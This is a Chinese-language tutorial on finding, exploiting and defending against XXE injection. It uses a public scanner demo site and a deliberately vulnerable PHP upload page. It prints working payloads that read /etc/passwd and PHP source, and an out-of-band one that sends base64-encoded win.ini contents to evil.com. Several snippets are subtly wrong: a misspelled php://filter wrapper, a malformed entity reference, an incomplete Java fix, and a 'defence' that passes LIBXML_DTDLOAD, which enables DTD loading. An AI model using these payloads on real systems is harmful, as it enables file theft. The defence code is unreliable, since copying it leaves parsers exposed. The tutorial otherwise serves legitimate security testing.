1.简单挖掘方法
提交POST请求XML文件
提交一个POST请求,请求头加上Content-type:application/xml
同时添加测试代码
<?xml version="1.0"encoding="utf-8"?> <test>cat</test>
通过OOB(Out-of-band)方法远程访问文件测试
1. 自建一个网站开启80端口
2. 在测试网站提交payload,如下
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch>
3.查看网站返回内容
4.查看自建服务器访问日志,是否有DTD文件等请求
2.确认XXE漏洞
出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是:
http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问
http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’
链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示:
请求:
响应:
观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求
修改后的请求和响应:
如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>"> %payload; <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root>
3.寻找XXE
1.检测xml是否被解析
<?xml version="1.0" encoding="ISO-8859-1"?> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>21</id> </Prod> </Prod>
2.检测是否支持外部实体解析
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>&xxe</id> </Prod> </Prod>
4.xxe 注入利用步骤
在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。
(1)测试是否允许外部实体引用
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var "tzuxung"> ]> <root> <data>&var;</data> </root>
(2)任意文件读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "file:///etc/passwd"> ]> <root> <data>&var;</data> </root>
(3)通过PHP://过滤器读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php"> ]> <root> <data>&var;</data> </root>
(4)xxe注入测试代码
xxe.php是一个存在XXE注入漏洞的简单页面
<html> <body> <h1>XXE Example</h1> <form method="post" enctype="multipart/form-data"> <label for="file">XML File:</label> <input type="file" name="file" id="file"> <input type="submit" name="submit" value="Upload"> </form> <h1>Result</h1> <?php if( isset($_FILES["file"])){ $doc = new DOMDocument(); $doc->validateOnParse = true; $doc->Load($_FILES["file"]["tmp_name"]); $tags = $doc->getElementsByTagName("data"); foreach($tags as $tag) { echo "<pre>" . $tag->nodeValue . "</pre>\n"; } } else { echo "<h3>No file was selected for upload.</h3>"; } ?> </body> </html>
xxe自动化注入检查工具
https://github.com/enjoiz/XXEinjector
XXE防御
1.使用开发语言提供的禁用外部实体的方法
PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的XML数据
对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.
例如,让我们来试着定义一个新的自定义实体“harmless”。
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results>
XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:
This result is completely harmless
下面的这个就肯定不是无害的输入:
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>
3.检查所使用的底层xml解析库,默认禁止外部实体的解析
4.使用第三方应用代码及时升级补丁
5.同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数
<?php libxml_disable_entity_loader(true); ?>
以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:
<?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>>
评论 (0)